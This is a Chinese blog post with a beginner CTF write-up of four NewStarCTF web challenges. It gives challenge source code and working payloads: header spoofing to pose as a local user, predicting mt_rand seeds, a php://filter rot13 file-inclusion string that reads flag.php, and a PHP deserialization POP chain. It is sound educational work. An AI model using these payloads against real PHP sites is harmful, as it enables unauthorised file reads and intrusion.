持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第30天,点击查看活动详情
引文
简单做了几个最近举办的NEWSTAR招新赛的WEB题目来练练手。希望能帮助到大家。
HTTP
进入网页让我们通过GET方式传递name参数,所以我们尝试传入:
?name=1
需要我们POST传入KEY的值,但是我们不知道KEY的值是什么,怀疑藏有其他信息。
F12查看源码发现KEY:
<!--Key: ctfisgood-->
传入之后提示我们不是管理员,于是我们修改cookie值得到flag。
本题作为新生赛还是挺适合的,考察了GET/POST的提交方式以及对抓包工具或者插件的使用,难度不是很大。
Head?Header!
根据题目名称,猜测需要我们抓包修改请求包,根据页面说需要,CTF,brower,所以修改User-Agent为CTF,发个包看看,提示我们需要响应头为uctf.com,我们就修改:Referer:ctf.com,又提示我们本地用户,于是我们修改X-Forwarded-For:127.0.0.1
发包得到flag,这题也是很基础,考察了我们对请求包结构的理解以及如何构造。
IncludeOne
进入网页给了我们源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|../i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
一眼伪随机数,需要我们推出伪随机数再进行强比较。mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。
用工具爆破出了种子数,编写如下脚本:
<?php
mt_srand(1145146);
echo mt_rand();
echo mt_rand();
传入之后是用伪协议读取flag,注意传入参数必须包含关键词,这是一个坑点有很多朋友没有了解过伪协议如何添加信息,我们构造的payload如下:
file=php://filter/NewStar/read=string.rot13/resource=flag.php
传入即可得到flag。
UnserializeOne
进入页面得到源码,一个简单的反序列化题目,需要我们构造POP链,先带大家回顾一下魔术方法:
我们先看题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
简单分析一下,我们要调用_invoke方法,可以使用isset方法来调用,clone方法里面obj->cmd,也就是调用了不存在的方法,$obj指向Start类,要触发clone方法,需要复制对象,可以利用call方法,toString中有check方法,我们可以触发destruct方法来利用toStrng方法。
POP链逻辑如下:invoke->isset->clone->call->_toString->destruct
编写脚本:
$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee();
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();
根据生成的payload我们传入后得到flag。
简单来说这个比赛对新人还是挺友好的,有对CTF感兴趣的小伙伴可以尝试去做一下里面的题目。